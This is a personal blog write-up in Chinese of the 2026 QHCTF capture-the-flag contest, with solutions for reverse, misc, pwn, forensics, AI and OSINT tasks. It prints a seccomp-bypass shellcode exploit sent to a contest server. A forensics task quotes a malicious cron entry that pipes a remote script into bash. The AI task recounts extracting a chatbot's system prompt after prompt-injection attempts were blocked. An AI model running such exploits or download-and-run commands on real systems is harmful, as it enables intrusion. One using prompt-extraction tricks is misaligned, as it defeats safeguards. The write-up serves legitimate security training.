2158 字
11 分钟
第二届启航杯个人WP

Reverse#

调查问卷#

下载下来以为真是一个问卷题。。。结果拖进IDA才发现不对

前置正常的逻辑我们就不看了,就是几个小question,我们直接看算法的部分

图片

首先检查lenth=43,必须以QHCTF{开头,以}结尾

图片

遍历输入的每一个字节,将其作为索引在 byte_499760 数组中查找对应的值并替换原值

列混淆的部分代码太长,就不贴图了,大概就是通过代码中(2 * v40) ^ 0x1B的运算,结合 4 字节一组的处理方式和异或累加结构,可以判定这是 AES 的列混淆变换

经典的TEA加密,密钥是VRUSEKYE202YGLF6

图片

魔改的base64编码(QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789+/):

图片

写脚本解密字符串“ZpopRs/uh9eE0BfNQcpJd7bB5BmSWuvQ+Ac/s/iPqjRESDLssGlpOAewRRPR7Py/”

exp:

import struct
b64table = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789+/"
target_b64 = "ZpopRs/uh9eE0BfNQcpJd7bB5BmSWuvQ+Ac/s/iPqjRESDLssGlpOAewRRPR7Py/"
tea_key = b"VRUSEKYE202YGLF6"
sbox = [
    0x52,0x09,0x6A,0xD5,0x30,0x36,0xA5,0x38,0xBF,0x40,0xA3,0x9E,0x81,0xF3,0xD7,0xFB,
    0x7C,0xE3,0x39,0x82,0x9B,0x2F,0xFF,0x87,0x34,0x8E,0x43,0x44,0xC4,0xDE,0xE9,0xCB,
    0x54,0x7B,0x94,0x32,0xA6,0xC2,0x23,0x3D,0xEE,0x4C,0x95,0x0B,0x42,0xFA,0xC3,0x4E,
    0x08,0x2E,0xA1,0x66,0x28,0xD9,0x24,0xB2,0x76,0x5B,0xA2,0x49,0x6D,0x8B,0xD1,0x25,
    0x72,0xF8,0xF6,0x64,0x86,0x68,0x98,0x16,0xD4,0xA4,0x5C,0xCC,0x5D,0x65,0xB6,0x92,
    0x6C,0x70,0x48,0x50,0xFD,0xED,0xB9,0xDA,0x5E,0x15,0x46,0x57,0xA7,0x8D,0x9D,0x84,
    0x90,0xD8,0xAB,0x00,0x8C,0xBC,0xD3,0x0A,0xF7,0xE4,0x58,0x05,0xB8,0xB3,0x45,0x06,
    0xD0,0x2C,0x1E,0x8F,0xCA,0x3F,0x0F,0x02,0xC1,0xAF,0xBD,0x03,0x01,0x13,0x8A,0x6B,
    0x3A,0x91,0x11,0x41,0x4F,0x67,0xDC,0xEA,0x97,0xF2,0xCF,0xCE,0xF0,0xB4,0xE6,0x73,
    0x96,0xAC,0x74,0x22,0xE7,0xAD,0x35,0x85,0xE2,0xF9,0x37,0xE8,0x1C,0x75,0xDF,0x6E,
    0x47,0xF1,0x1A,0x71,0x1D,0x29,0xC5,0x89,0x6F,0xB7,0x62,0x0E,0xAA,0x18,0xBE,0x1B,
    0xFC,0x56,0x3E,0x4B,0xC6,0xD2,0x79,0x20,0x9A,0xDB,0xC0,0xFE,0x78,0xCD,0x5A,0xF4,
    0x1F,0xDD,0xA8,0x33,0x88,0x07,0xC7,0x31,0xB1,0x12,0x10,0x59,0x27,0x80,0xEC,0x5F,
    0x60,0x51,0x7F,0xA9,0x19,0xB5,0x4A,0x0D,0x2D,0xE5,0x7A,0x9F,0x93,0xC9,0x9C,0xEF,
    0xA0,0xE0,0x3B,0x4D,0xAE,0x2A,0xF5,0xB0,0xC8,0xEB,0xBB,0x3C,0x83,0x53,0x99,0x61,
    0x17,0x2B,0x04,0x7E,0xBA,0x77,0xD6,0x26,0xE1,0x69,0x14,0x63,0x55,0x21,0x0C,0x7D,
]
inv_sbox = [0] * 256
for i in range(256):
    inv_sbox[sbox[i]] = i
mix_matrix = [
    [2, 3, 1, 1],
    [1, 2, 3, 1],
    [1, 1, 2, 3],
    [3, 1, 1, 2],
]
inv_mix_matrix = [
    [14, 11, 13,  9],
    [ 9, 14, 11, 13],
    [13,  9, 14, 11],
    [11, 13,  9, 14],
]
def gf_mul(a, b):
    p = 0
    for _ in range(8):
        if b & 1:
            p ^= a
        hi = a & 0x80
        a = (a << 1) & 0xFF
        if hi:
            a ^= 0x1B
        b >>= 1
    return p
def inv_mix_column(col):
    result = [0, 0, 0, 0]
    for i in range(4):
        for j in range(4):
            result[i] ^= gf_mul(inv_mix_matrix[i][j], col[j])
    return result
def custom_b64_decode(s, table):
    result = []
    for i in range(0, len(s), 4):
        c0 = table.index(s[i])
        c1 = table.index(s[i+1])
        c2 = table.index(s[i+2])
        c3 = table.index(s[i+3])
        val = (c0 << 18) | (c1 << 12) | (c2 << 6) | c3
        result.append((val >> 16) & 0xFF)
        result.append((val >> 8) & 0xFF)
        result.append(val & 0xFF)
    return bytes(result)
after_tea = custom_b64_decode(target_b64, b64table)
def tea_decrypt(block, key):
    v0, v1 = struct.unpack('<II', block)
    k = struct.unpack('<IIII', key)
    delta = 0x9E3779B9
    s = (delta * 32) & 0xFFFFFFFF
    for _ in range(32):
        v1 = (v1 - ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s + k[(s >> 11) & 3]))) & 0xFFFFFFFF
        s = (s - delta) & 0xFFFFFFFF
        v0 = (v0 - ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s + k[s & 3]))) & 0xFFFFFFFF
    return struct.pack('<II', v0, v1)
after_matrix = b''
for i in range(0, len(after_tea), 8):
    after_matrix += tea_decrypt(after_tea[i:i+8], tea_key)
data = list(after_matrix)
for i in range(0, 40, 4):
    col = data[i:i+4]
    inv_col = inv_mix_column(col)
    data[i:i+4] = inv_col
after_sbox = bytes(data)
plaintext = bytes([inv_sbox[b] for b in after_sbox])
print(f"{plaintext[:43].decode('ascii', errors='replace')}")

flag:QHCTF{cb6e8b7b-7b8a-4bb9-a973-55be79daf77c}

Misc#

真是签到#

flag:QHCTF{W3lc0m3_t0_QHCTF_2026!}

真问卷#

flag:QHCTF{1f69e646-076c-463f-8219-61bf9012591e}

兄弟你好香#

音频是频谱隐写(虽然一点用没有但是既然get了就写一下):

图片

图片用foremost可以分离出一个zip,其中包含一段文本:

图片

=== 兄弟,你好香啊 === 恭喜你找到了这个文件!但flag还需要解密… 提示:

  1. 密文经过了三层加密
  2. 最外层是ROT13
  3. 中间层是Base64  
  4. 最内层是AES-ECB,密钥与”兄弟你好香”的英文有关
  5. 密钥长度为16字节 加密后的flag: ygy/AONrj8D+kjqBg2F/nxJARXoKft85oRsiQAjhORFPjtvh2aC3aBiGQAHUNm1N 祝你好运,香香的兄弟! 然后开始猜密钥(最开始一直在往音频隐写X1@ngN1H4o的这个方向猜,后来发现提示说的是英文,出题人你赔我时间。)

然后猜到密钥是BrotherYouSmell!

图片

flag{8fd2c428-3115-4ce6-a20f-a2792cce5a7b}

Pwn#

ret2shellcode#

常规分析:

图片

没什么特别的

IDA:

图片

注意到有沙箱,除此之外整个程序的逻辑就是从用户输入读取0x100字节的shellcode并执行

沙箱规则:

图片

这个沙箱是白名单沙箱,只允许三个系统调用open、write、mmap,不能通过常规的ORW链打,而是通过mmap直接映射到内存中write打印出来 在这里遇到文件名的问题,本地打通完之后在远程尝试了flag和/flag都没打出来,而且远程和本地的欢迎语还不一样))

图片

在这里怀疑是不是出题人给我们假附件,其实远程的程序不是直接执行shellcode/shellcode有其他限制,所以写了一个debug版的shellcode

shellcode_asm = '''
mov rax, 0x0a6f6c6c6548
push rax
mov rdi, 1
mov rsi, rsp
mov rdx, 6
mov rax, 1
syscall
'''

发现远程可以正常回显

图片

那只能怀疑是文件名的问题了,尝试发现/home/ctf/flag是可行的

#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
io = remote('220.168.118.182', 32680)
shellcode = shellcraft.pushstr("/home/ctf/flag")
shellcode += '''
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 2
    syscall
    mov r8, rax
    xor rdi, rdi
    mov rsi, 0x100
    mov rdx, 1
    mov r10, 2
    xor r9, r9
    mov rax, 9
    syscall
    mov rsi, rax
    mov rdi, 1
    mov rdx, 0x100
    mov rax, 1
    syscall
    mov rax, 60
    xor rdi, rdi
    syscall
'''
io.sendline(asm(shellcode))
print(io.recvall().strip().decode(errors='ignore'))
io.close()

(在解出来30min后就在群里发了文件路径,赔我时间!!!)

Forensics#

深夜入侵(非预期)#

直接cat /verify得到flag

图片

应急溯源1#

检查一手readonly,发现是false直接盲猜CVE-2017-12617,直接对

图片

flag:QHCTF{CVE-2017-12617}

应急溯源2#

在webapp/ROOT下找到大量可疑jsp

图片

审计发现存在多种版本的冰蝎马,但是题目明确指出有密钥,所以把目光转到冰蝎3.0的马上,发现hMS8xu.jsp中存在xc和pass变量,猜测是密钥和密码

图片

flag:QHCTF{3c6e0b8a9c15224a_pass}

应急溯源3#

到这里就开始真正的到溯源和还原攻击链的部分了,首先先检查bash的历史

图片

发现历史只有下载恶意样本的记录,没有我们想要的反弹shell的记录,回头把目光放回web相关的文件中

图片

发现host和port是作为参数传入进行反弹shell的,因此我们检查日志中的连接情况

图片

虽然没有找到直接传参的host和port,但是我们可以找到193.239.86.139这个IP,猜测攻击链条为攻击者 IP (193.239.86.139) 通过rce.jsp/shell.jsp获得了权限,然后执行了curl命令连接到自己的 C2 服务器下载进一步的恶意负载。

flag:QHCTF{193.239.86.139:8888}

应急溯源4#

这一步卡了很久,绕了很多弯,最后的想法是直接通过日期来锁定文件…尝试了06.06-06.10逐天排查

图片

然后发现这样下去没个头,然后转向cron文件创建时间09.25开始寻找

图片

发现了可疑服务,查看路径

图片

题目暗示可能存在不止一个文件,因此查询/opt下的文件

图片

疑似两个服务互相唤起

flag:QHCTF{/opt/.kthread/kthread,/opt/.X11-Xtrace/kworker}

应急溯源5#

其实在4之前就做出5了,因为要还原攻击链条难免要查看计划任务

图片

flag{@reboot curl https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh | bash}

应急溯源6#

因为我们已经找到了挖矿程序,可以直接docker cp出来,利用strace分析连接情况

图片

flag:QHCTF{159.198.35.43:8081}

应急溯源7#

其实就是IP反查域名,直接搜就行

图片

flag:QHCTF{nc-ph-0601-10.web-hosting.com}

应急溯源8#

直接在前面就有,不赘述了

图片

flag:QHCTF{https://www.atteppzkf.com}

AI#

神经迷踪#

没怎么做过AI安全相关的题目,在网上搜索了一些常见的提示词注入发现角色扮演类没用

图片

逻辑陷阱虽然有用但是被拦截:

图片

尝试爆破系统提示词成功:

图片

然后刷新了一下页面再次发送同样的prompt就直接出了?

图片

不太清楚原理是什么,正如我开头所说的,没打过什么AI安全相关的题目)

flag:QHCTF{6d708135-6803-4569-833c-d53d5d2d05b7}

Osint#

猜猜这是哪2.0#

图片

根据图片锁定列车编号,查询发现是广铁长沙段的(其实这也没什么用,因为视频里有广铁U彩的播音,感觉图片唯一有用的就是时间)

图片

看视频发现38s处有企业名字:

图片

地图搜:

图片

锁定沪昆线+下行,这个语音播报应该是刚离开某个车站,遂锁定铜仁南站

图片

然后看通过广铁长沙段筛选(还有一个筛选条件是12:55左右停站,但是因为早晚点,可以放宽到12:50-13:00停站)

图片

得到flag:QHCTF{G2105_长沙南_铜仁南_三穗_贵州省}

第二届启航杯个人WP
https://foxmiao.fun/posts/qhctf/
作者
F0xm1ao
发布于
2026-02-08
许可协议
CC BY-NC-SA 4.0